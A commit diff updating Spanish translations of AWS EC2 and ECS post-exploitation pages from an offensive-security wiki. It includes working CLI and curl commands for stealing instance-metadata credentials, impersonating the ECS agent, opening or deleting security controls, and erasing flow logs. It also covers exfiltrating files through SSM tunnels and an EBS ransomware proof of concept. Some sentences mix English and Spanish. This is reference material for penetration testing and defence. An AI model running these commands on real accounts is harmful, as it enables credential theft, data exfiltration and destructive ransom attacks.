Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-13 14:34:00 +00:00
parent a26dfd37b7
commit 15c148b689
2 changed files with 115 additions and 71 deletions
@@ -12,8 +12,8 @@ Para más información consulta:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring **duplica el tráfico entrante y saliente para las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un sistema de detección de intrusiones de red (IDS) para su análisis y monitorización.\
Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible:
VPC traffic mirroring **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin la necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un sistema de detección de intrusiones de red (IDS) para su análisis y monitorización.\
Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible del mismo:
Para más información consulta esta página:
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Copiar instancia en ejecución
Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar su contenido es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar su contenido es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
```shell
# List instances
aws ec2 describe-images
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Snapshots are backups of volumes**, que normalmente contendrán **información sensible**, por lo tanto revisarlos debería revelar esta información.\
Si encuentras un **volume without a snapshot** podrías: **Create a snapshot** y realizar las siguientes acciones o simplemente **mount it in an instance** dentro de la cuenta:
**Los snapshots son copias de seguridad de volúmenes**, que usualmente contendrán **información sensible**, por lo que revisarlos debería revelar esta información.\
Si encuentras un **volume sin snapshot** podrías: **Crear un snapshot** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Esto permite análisis forense offline completo o robo de datos mientras se deja la networking de la instance intacta.
Exportar un EC2 AMI directamente a S3 usando `CreateStoreImageTask` para obtener una imagen de disco raw sin compartir snapshots. Esto permite forenseo offline completo o robo de datos mientras se deja la red de la instancia intacta.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Útil cuando el victim volume ya tiene Multi-Attach habilitado dentro de la misma AZ.
Adjuntar un volumen io1/io2 Multi-Attach a una segunda instancia y montarlo en modo solo lectura para extraer datos en vivo sin snapshots. Útil cuando el volumen víctima ya tiene Multi-Attach habilitado dentro de la misma AZ.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Otorga rutas de movimiento lateral rápidas sin abrir puertos públicos.
Crear un EC2 Instance Connect Endpoint, autorizar ingress e inyectar claves SSH efímeras para acceder a instancias privadas a través de un túnel gestionado. Otorga rutas rápidas de movimiento lateral sin abrir puertos públicos.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
Move a victim ENIs secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Permite eludir ACLs internas o reglas de SG que se basan en direcciones específicas.
Mover la secondary private IP de una ENI víctima a una ENI controlada por el atacante para suplantar hosts de confianza que están allowlisted por IP. Permite eludir ACLs internas o reglas SG basadas en direcciones específicas.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
Reasociar un Elastic IP de la instancia víctima al atacante para interceptar tráfico inbound u originar conexiones outbound que parecen provenir de IPs públicas de confianza.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
Si una regla de security group hace referencia a un customer-managed prefix list, agregar CIDRs del atacante a la lista expande silenciosamente el acceso a través de cada regla SG dependiente sin modificar el SG en sí.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
Crear gateway o interface VPC endpoints para recuperar acceso outbound desde subnets aisladas. Aprovechar private links gestionados por AWS elude controles faltantes de IGW/NAT para exfiltración de datos.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas de entrada a security groups (por ejemplo, permitiendo tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a la Internet pública o a redes no autorizadas.
Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas inbound a security groups (por ejemplo, permitiendo tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a Internet pública o a redes no autorizadas.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
Un atacante con permisos `ec2:ReplaceNetworkAclEntry` (o similares) puede modificar los Network ACLs (NACLs) de una subred para hacerlos muy permisivos — por ejemplo permitiendo 0.0.0.0/0 en puertos críticos — exponiendo todo el rango de la subred a Internet o a segmentos de red no autorizados. A diferencia de Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subred, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar el acceso a muchos más hosts.
Un atacante con permisos ec2:ReplaceNetworkAclEntry (o similares) puede modificar los Network ACLs (NACLs) de una subnet para volverlos muy permisivos —por ejemplo permitiendo 0.0.0.0/0 en puertos críticos— exponiendo todo el rango de la subnet al Internet o a segmentos de red no autorizados. A diferencia de Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subnet, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar acceso a muchos más hosts.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de la infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volúmenes o attachments, security groups o reglas, ENIs/network endpoints, tablas de rutas, gateways, o managed endpoints. Esto puede causar una interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense.
Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de la infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Esto puede causar una interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense.
One example is deleting a security group:
Un ejemplo es eliminar un security group:
aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>
### VPC Flow Logs Cross-Account Exfiltration
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
Apunta VPC Flow Logs a un bucket S3 controlado por el atacante para recopilar de forma continua metadatos de red (source/destination, ports) fuera de la cuenta víctima para reconocimiento a largo plazo.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -150,17 +150,17 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
Incluso si bloqueas un EC2 para que no pueda salir tráfico, todavía puede **exfil via DNS**.
- **VPC Flow Logs will not record this**.
- You have no access to AWS DNS logs.
- Disable this by setting "enableDnsSupport" to false with:
- **VPC Flow Logs no registrarán esto**.
- No tienes acceso a los logs DNS de AWS.
- Desactívalo estableciendo "enableDnsSupport" en false con:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
Un atacante podría llamar a endpoints de API de una cuenta controlada por él. Cloudtrail registrará esas llamadas y el atacante podrá ver los datos exfiltrados en los logs de Cloudtrail.
Un atacante podría llamar a endpoints API de una cuenta que él controla. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los logs de Cloudtrail.
### Open Security Group
@@ -173,30 +173,68 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
Es posible ejecutar una instancia EC2 y registrarla para que se use para ejecutar instancias ECS y luego robar los datos de las instancias ECS.
Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
Un compromiso dentro de cualquier ECS task que se ejecute en una EC2 container instance suele ser suficiente para pivotar al rol del host y a los IAM roles asociados con todas las demás tasks en ese nodo. Debido a que existe **no task isolation para ECS-on-EC2**, cada task puede consultar el EC2 Instance Metadata Service (IMDS) por defecto, robar el instance profile de la container instance y luego hablar el mismo protocolo WebSocket que usa el ECS agent con el control plane (la primitiva **ECScape**) para solicitar las credenciales de cada task actualmente programada en ese host. Latacora documentó este flujo en su [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), que el siguiente resumen ofensivo condensa.
#### Cadena de ataque
1. **Roba el instance profile desde dentro del contenedor.** Asume que IMDSv2 es requerido, así que solicita un token y luego obtén el profile.
```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
```
2. **Usa el container instance role para suplantar al ECS agent.** Con esas credenciales puedes hablar por el canal WebSocket no documentado que usa el ECS agent; el control plane te confía como el agente real y entrega **all task IAM credentials** a tu proceso. Ahora puedes ejecutar tasks con mayores privilegios localmente, volcar secrets del environment de las tasks, o actualizar services/tasks para redeploy workloads que puedas inspeccionar completamente.
#### IMDS reachability with IMDSv2 + hop limit 1
Configurar IMDSv2 con `HttpTokens=required` y `HttpPutResponseHopLimit=1` solo bloquea tasks que viven detrás de un salto extra (Docker bridge). Otros modos de red permanecen dentro de un salto del Nitro controller y aún reciben respuestas:
| ECS network mode | IMDS reachable? | Reason |
| --- | --- | --- |
| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. |
| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. |
| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. |
Por lo tanto, **nunca asumas que hop limit 1 protege las workloads en awsvpc o host-mode**—siempre prueba desde dentro de tus contenedores.
#### Detecting IMDS blocks per network mode
- **awsvpc tasks:** Security groups, NACLs, o ajustes de enrutamiento no pueden bloquear la dirección link-local 169.254.169.254 porque Nitro la inyecta en el host. Check `/etc/ecs/ecs.config` for `ECS_AWSVPC_BLOCK_IMDS=true`. Si la flag falta (por defecto) puedes curl IMDS directamente desde la task. Si está establecida, pivota al host/agent namespace para revertirla o ejecuta tus herramientas fuera de awsvpc.
- **bridge mode:** Cuando las requests de metadata fallan aunque hop limit 1 esté configurado, los defensores probablemente insertaron una regla DROP en `DOCKER-USER` como `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listar `iptables -S DOCKER-USER` la expone, y el acceso root te permite borrar o reordenar la regla antes de consultar IMDS.
- **host mode:** Inspecciona la configuración del agent por `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Esa configuración elimina los task IAM roles por completo, por lo que debes re-habilitarla, mover a awsvpc tasks, o robar credenciales a través de otro proceso en el host. Cuando el valor es `true` (por defecto), cada proceso en host-mode —incluyendo contenedores comprometidos— puede acceder a IMDS a menos que filtros personalizados eBPF/cgroup apunten a `169.254.169.254`; busca programas tc/eBPF o reglas iptables que hagan referencia a esa dirección.
Latacora incluso publicó [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) que puedes desplegar en una cuenta objetivo para enumerar qué modos de red aún exponen metadata y planear tu siguiente hop en consecuencia.
Una vez entiendas qué modos exponen IMDS puedes planear tu post-exploitation path: apuntar a cualquier ECS task, solicitar el instance profile, suplantar al agent, y recolectar cada otro task role para movimiento lateral o persistencia dentro del cluster.
### Eliminar VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
### Reenvío de puertos SSM
Permisos requeridos:
- `ssm:StartSession`
Además de la ejecución de comandos, SSM permite traffic tunneling que puede ser abusado para pivoting desde instancias EC2 que no tienen acceso a la red debido a Security Groups o NACLs.
Uno de los escenarios donde esto es útil es pivoting desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hacia un private EKS cluster.
Además de la ejecución de comandos, SSM permite el tunelizado de tráfico, lo cual puede abusarse para pivot desde instancias EC2 que no tienen acceso de red debido a Security Groups o NACLs.
Uno de los escenarios donde esto es útil es pivotear desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hacia un EKS cluster privado.
> Para iniciar una sesión necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. Instala el SessionManagerPlugin en tu máquina
2. Conéctate al Bastion EC2 usando el siguiente comando:
2. Inicia sesión en la Bastion EC2 usando el siguiente comando:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Obtén las credenciales temporales de AWS del Bastion EC2 con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]`
3. Obtén las credenciales temporales de AWS del Bastion EC2 con el [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]`
5. Inicia sesión en EKS como el Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
@@ -206,17 +244,17 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM vía la Bastion EC2 y puedes acceder al cluster privado de EKS desde tu propia máquina ejecutando:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Ten en cuenta que las conexiones SSL fallarán a menos que establezcas la opción `--insecure-skip-tls-verify ` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico viaja a través del túnel seguro de AWS SSM, estás protegido contra cualquier tipo de ataques MitM.
Ten en cuenta que las conexiones SSL fallarán a menos que establezcas el flag `--insecure-skip-tls-verify ` (o su equivalente en herramientas de auditoría K8s). Dado que el tráfico se tuneliza a través del túnel seguro de AWS SSM, estás a salvo de cualquier tipo de ataques MitM.
Finalmente, esta técnica no es específica para atacar clusters privados de EKS. Puedes establecer dominios y puertos arbitrarios para pivotar hacia cualquier otro servicio de AWS o una aplicación personalizada.
Finalmente, esta técnica no es específica para atacar clusters EKS privados. Puedes configurar dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada.
---
#### Reenvío rápido Local ↔️ Remoto (AWS-StartPortForwardingSession)
#### Reenvío rápido Local ↔️ Remoto de Puertos (AWS-StartPortForwardingSession)
Si solo necesitas reenviar **un puerto TCP desde la instancia EC2 a tu host local** puedes usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere el parámetro de host remoto):
```bash
@@ -225,18 +263,18 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
El comando establece un túnel bidireccional entre tu workstation (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instance **sin abrir ninguna regla de Security-Group entrante**.
El comando establece un túnel bidireccional entre tu estación de trabajo (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **sin abrir ninguna regla inbound de Security-Group**.
Casos de uso comunes:
* **File exfiltration**
1. En la instance, inicia un servidor HTTP rápido que apunte al directorio que quieres exfiltrar:
1. En la instancia, inicia un HTTP server rápido que apunte al directorio que quieres exfiltrate:
```bash
python3 -m http.server 8000
```
2. Desde tu workstation, recupera los archivos a través del túnel SSM:
2. Desde tu estación de trabajo, recupera los archivos a través del SSM tunnel:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
@@ -250,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto claro:
Consejo: Comprime y cifra la evidencia antes de exfiltrating it para que CloudTrail no registre el contenido en texto claro:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -261,17 +299,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
```
### Buscar información sensible en AMIs públicas y privadas
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde las AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
### Compartir EBS Snapshot
### Compartir snapshot de EBS
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC
Una prueba de concepto similar a la demostración de Ransomware en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) dada la facilidad con la que se puede usar para cifrar varios servicios de AWS.
Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) por lo sencillo que es usarlo para cifrar diversos servicios de AWS.
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
Primero, desde una cuenta AWS de 'attacker', crea una customer managed key en KMS. Para este ejemplo dejaremos que AWS gestione los datos de la key, pero en un escenario realista un actor malicioso retendría los datos de la key fuera del control de AWS. Modifica la key policy para permitir que cualquier AWS account Principal use la key. En esta key policy, el nombre de la cuenta era 'AttackSim' y la regla de la policy que permite acceso total se llama 'Outside Encryption'.
```
{
"Version": "2012-10-17",
@@ -363,7 +401,7 @@ First from an 'attacker' AWS account, create a customer managed key in KMS. For
]
}
```
La regla de la key policy necesita tener lo siguiente habilitado para permitir usarla para cifrar un volumen EBS:
La regla de la key policy necesita lo siguiente habilitado para permitir su uso para cifrar un volumen EBS:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -371,21 +409,21 @@ La regla de la key policy necesita tener lo siguiente habilitado para permitir u
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Ahora, con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tiene algunas instancias EC2 desplegadas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son los que estamos atacando para cifrado; este ataque se realiza bajo el supuesto de una violación de una cuenta AWS con privilegios elevados.
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Similar al ejemplo de S3 ransomware. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego detachará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente borrará los snapshots usados para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Similar al ejemplo de ransomware en S3. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego desacoplará los volúmenes EBS originales de las instancias EC2 y los borrará, y finalmente eliminará los snapshots usados para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Como resultado, solo quedarán disponibles en la cuenta volúmenes EBS cifrados.
Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
También cabe destacar que el script detuvo las instancias EC2 para detachar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen.
También es importante notar que el script detuvo las instancias EC2 para desacoplar y borrar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Después, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de policy 'Outside Encryption' de la key policy.
A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de 'Outside Encryption' de la key policy.
```json
{
"Version": "2012-10-17",
@@ -456,15 +494,15 @@ Después, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de p
]
}
```
Espera un momento para que la nueva key policy se propague. Luego regresa a la cuenta 'victim' e intenta adjuntar uno de los EBS volumes recién cifrados. Verás que puedes adjuntar el volumen.
Espere un momento para que la nueva política de key configurada se propague. Luego vuelva a la cuenta 'victim' e intente adjuntar uno de los volúmenes EBS recién encriptados. Verá que puede adjuntar el volumen.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Pero cuando intentes arrancar la instancia EC2 con el EBS volume cifrado, fallará y pasará del estado 'pending' al estado 'stopped' indefinidamente, ya que el EBS volume adjunto no puede ser descifrado usando la key porque la key policy ya no lo permite.
Pero cuando intente arrancar la instancia EC2 con el volumen EBS encriptado, simplemente fallará y pasará del estado 'pending' al estado 'stopped' de forma indefinida, ya que el volumen EBS adjunto no puede ser desencriptado usando la key porque la política de la key ya no lo permite.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Este es el python script utilizado. Toma AWS creds para una cuenta 'victim' y un valor ARN de AWS públicamente disponible para la key que se usará para el cifrado. El script hará copias cifradas de TODOS los EBS volumes disponibles adjuntos a TODAS las EC2 instances en la cuenta AWS objetivo, luego detendrá cada EC2 instance, desacoplará los EBS volumes originales, los eliminará y finalmente borrará todos los snapshots utilizados durante el proceso. Esto dejará solo EBS volumes cifrados en la cuenta 'victim' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS EBS VOLUMES ORIGINALES. Puedes recuperarlos usando la KMS key utilizada y restaurarlos a su estado original vía snapshots, pero ten en cuenta que, al final del día, esto es un ransomware PoC.
Este es el script de python utilizado. Toma credenciales de AWS para una cuenta 'victim' y un valor de AWS ARN públicamente disponible para la key que se usará para la encriptación. El script hará copias encriptadas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta AWS objetivo, luego detendrá cada instancia EC2, desconectará los volúmenes EBS originales, los eliminará y, finalmente, eliminará todos los snapshots utilizados durante el proceso. Esto dejará sólo volúmenes EBS encriptados en la cuenta 'victim' objetivo. UTILICE ESTE SCRIPT SOLO EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puede recuperarlos usando la KMS key utilizada y restaurarlos a su estado original mediante snapshots, pero quiero que tenga en cuenta que, al final del día, esto es un ransomware PoC.
```
import boto3
import argparse
@@ -583,6 +621,8 @@ main()
```
## Referencias
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
- [Pentest Partners How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,41 +4,41 @@
## ECS
Para más información consulta:
Para más información revisa:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Roles IAM del host
### Host IAM Roles
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
En ECS se le puede asignar una **IAM role can be assigned to the task** que se ejecuta dentro del container. **If** la task se ejecuta dentro de una **EC2** instance, la **EC2 instance** tendrá **another IAM** role adjunta.\
Lo que significa que si logras **comprometer** una ECS instance podrías potencialmente **obtener el IAM role associated to the ECR and to the EC2 instance**. Para más información sobre cómo obtener esas credenciales revisa:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la PUT request** tendrá un **hop limit of 1**, haciendo imposible acceder a los metadata de la EC2 desde un container dentro de la instancia EC2.
